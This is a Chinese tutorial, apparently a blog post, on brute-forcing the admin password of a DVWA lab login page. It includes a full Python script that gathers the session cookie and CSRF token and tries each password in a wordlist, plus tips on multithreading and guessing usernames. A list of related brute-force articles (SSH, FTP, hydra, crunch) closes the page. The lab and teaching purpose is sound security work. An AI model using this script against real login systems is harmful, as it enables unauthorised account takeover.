原理:利用字典爆破进行破解

实验环境:本机Win10(python3.7环境)、虚拟机Win2003(搭建DVWA网站)

工具:火狐浏览器、Burp Suite

实现步骤:

1、获取正常登录时需要提交的数据信息。

Burp Suite开启抓包,浏览器范文Dvwa登录页面,按F12开启网络数据查看器,登录dvwa.

可知:username、password、Login、user_token  这四个是登录必须提交的,除此之外还必须要附带服务器所给的cookie。

总共5个数据。

整个数据包如下:

也就是需要构建和上图一样需求和格式的Request数据包(Burp Suite查看请求包)

2、使用Python编写WEB请求数据包

# -*- coding: utf-8 -*-
"""
参考博客:
Created on Sat Oct  6 17:01:15 2018
@author: 小谢
"""
import urllib
import requests
from bs4 import BeautifulSoup##第一步,先访问 http://172.16.90.101/dvwa/login.php页面,获得服务器返回的cookie和token
def get_cookie_token():headers={'Host':'172.16.90.101','User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Upgrade-Insecure-Requests':'1'}res=requests.get("http://172.16.90.101/dvwa/login.php",headers=headers)cookies=res.cookiesa=[(';'.join(['='.join(item)for item in cookies.items()]))]   ## a为列表,存储cookie和tokenhtml=res.textsoup=BeautifulSoup(html,"html.parser")token=soup.form.contents[3]['value']a.append(token)return a##第二步模拟登陆
def Two(password,a):headers={'Host':'172.16.90.101','User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Content-Length':'88','Content-Type':'application/x-www-form-urlencoded','Upgrade-Insecure-Requests':'1','Cookie':a[0],'Referer':'http://172.16.90.101/dvwa/login.php'}values={'username':'admin','password':password,'Login':'Login','user_token':a[1]}data=urllib.parse.urlencode(values)resp=requests.post("http://172.16.90.101/dvwa/login.php",data=data,headers=headers)return def Three():
#重定向到index.phpheaders={'Host':'172.16.90.101','User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Upgrade-Insecure-Requests':'1','Cookie':a[0],'Referer':'http://172.16.90.101/dvwa/login.php'}response=requests.get("http://172.16.90.101/dvwa/index.php",headers=headers,allow_redirects=False)statu = response.status_codereturn statuwordList = open('passwordList.txt','r')
passwords = wordList.readlines()
for password in passwords:password = password.strip()a = get_cookie_token()        #步骤一Two(password,a)                #步骤二statu = Three()                #步骤三if(statu == 200):print("[*]测试密码:"+password+" 正确\t"+str(statu))breakelse:print("[-]测试密码:"+password+" 错误\t"+str(statu))
wordList.close()
if(statu != 200):print("------密码爆破失败------")"""
需要一个passwordList.txt密码文档
格式为:
password1
password2
......
"""

上诉代码的执行步骤:

第一步:先访问DVWA的登录页面(login.php),获取服务器返回的cookie和token(代码就不详说明)

第二步:构建Request数据包模拟登录DVWA,此脚本是参照别人的博客模拟登录,我把它稍加修改成密码爆破,

如有需要请自行查找他的博客

第三步:重定向,为了判断提交数据后是否登录成功,成功则可以获取登录成功的index页面(注意代码细节)


总结:

理解掌握HTTP的运行过程,构建发送HTTP数据包。

暴力破解无非是不断尝试账号密码,因为机器每秒的执行次数元超乎人的操作次数,所以暴力破解成为了可能。

上诉脚本存在不足之处:

1、cookie是倍写死的,一个正常的的网站一般cookie都是会变化的

2、可以使用多线程加快运行效率

3、账号是已知的,一般情况下我们尝试登陆一个是否存在的用户时,网站并不会告诉我们账号是否存在,当然一些安全性不好的网站例外。(若是账号也进行破解的话,需要很大的工程,也需要一定的算法)

python之WEB登录密码暴力破解相关推荐

  1. web后台登录口令暴力破解及防御

    在实际网络安全评估测试中,前台是给用户使用,后台是给网站管理维护人员使用,前台功能相对简单,后台功能相对复杂,可能保护媒体文件上传,数据库管理等.前台用户可以自由注册,而后台是网站管理或者维护人员设定 ...

  2. python密码破解工具_一个最简单的博客园文章密码暴力破解器-python3实现

    一个最简单的博客园文章密码暴力破解器-python3实现 我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手. 博客园的博客有个功 ...

  3. 密码暴力破解漏洞(kali crunch)

    目录 1.密码安全 2.漏洞利用 3.不安全的密码 4.密码猜解思路 5. 字典wordlist 5.1 kali字典 5.2 github字典 6.专用字典 6.1 指定格式字典 6.2 社工字典 ...

  4. Web攻防之暴力破解(何足道版)

    然后发在先知平台备份了一份 1 @序 攻防之初,大多为绕过既有逻辑和认证,以Getshell为节点,不管是SQL注入获得管理员数据还是XSS 获得后台cookie,大多数是为了后台的登录权限,假若我们 ...

  5. Linux SSH密码暴力破解技术及攻防实战

    对于Linux操作系统来说,一般通过VNC.Teamviewer和SSH等工具来进行远程管理,SSH是 Secure Shell的缩写,由IETF的网络小组(Network Working Group ...

  6. kali-linux教程 ssh密码暴力破解和防御实战

    1 hydra[海德拉] Hydra是世界顶级密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具. 指 ...

  7. linux密码暴力破解之SHA-512破解

    linux密码暴力破解 由于MD5加密已经发展了很多年,现在市面上已经积累了大量的MD5数据,这样,MD5的安全性也就受到了威胁,所以,从centos6.x版本开始,系统密码开始采用SHA-512加密 ...

  8. SSH密码暴力破解及防御实战

    前言:本文对目前流行的 SSH 密码暴力破解工具进行实战研究.分析和总结,对渗透攻击测试和安全防御具有一定的参考价值. 首先介绍几款常用的ssh暴力破解工具: 1. hydra [海德拉] 指定用户破 ...

  9. web渗透--ftp暴力破解,明文、嗅探安全等

    一. FTP用户名密码暴力破解 1.知道用户名和密码nc直接相连 2.知道用户名不知道密码 medusa工具 medusa -d 可以查看可以破解模块都有什么 medusa -h IP地址 -u 用户 ...

最新文章

  1. python字符编码讲解_python 字符编码讲解
  2. 关于jQuery在Asp.Net Mvc 框架下Ajax文件上传的实现
  3. 生活中的化学物质 —— 化学盐
  4. Qcon出品全球软件开发者大会北京站-低代码实践与应用
  5. strcpy、strncpy与memcpy的区别与使用方法
  6. Android ADB命令?这一次我再也不死记了!【简单说】
  7. OPhone的多媒体模块支持的三种不同数据源
  8. COM组件和一般DLL 的区别
  9. 线性方程组解的分析:唯一解,无穷多解以及无解
  10. python字符串格式化是什么意思_Python字符串格式化中%s和%d之间有什么区别?...
  11. CentOS-5.6-x86_64 配置SSH无密码登陆
  12. 前端移动端页面与手机尺寸和分辨率的关系
  13. Hive权限管理,增加用户,授权
  14. JavaScript中minio的使用
  15. Python3中pass语句介绍
  16. 【 Rust 基础】控制流 —— Rust 的神级语法03
  17. office plus
  18. 浅谈SAP公有云:S4 HANA Cloud
  19. matlab ppt 赵银娣,中国矿业大学考研研究生导师简介-赵银娣
  20. 押注全场景,荣耀胜算几何?

热门文章

  1. 数字藏品交易平台 nft数字藏品交易平台 数字藏品平台
  2. 推荐系统评价指标及代码实现
  3. 【华为技术】【使用MoXing实现手写数字图像识别应用】【TensorFlow】
  4. vue 双向绑定 getter 和 setter
  5. 西安交通大学计算机软件工程考研,西安交通大学软件工程专硕经验帖
  6. 关于“SAP创新观察”开博
  7. IMT愿景建议书定义的13个能力
  8. 电子商务公司运营流程是什么怎样绘制
  9. Java后端使用socketio,实现小程序答题pk功能
  10. Windows权限提升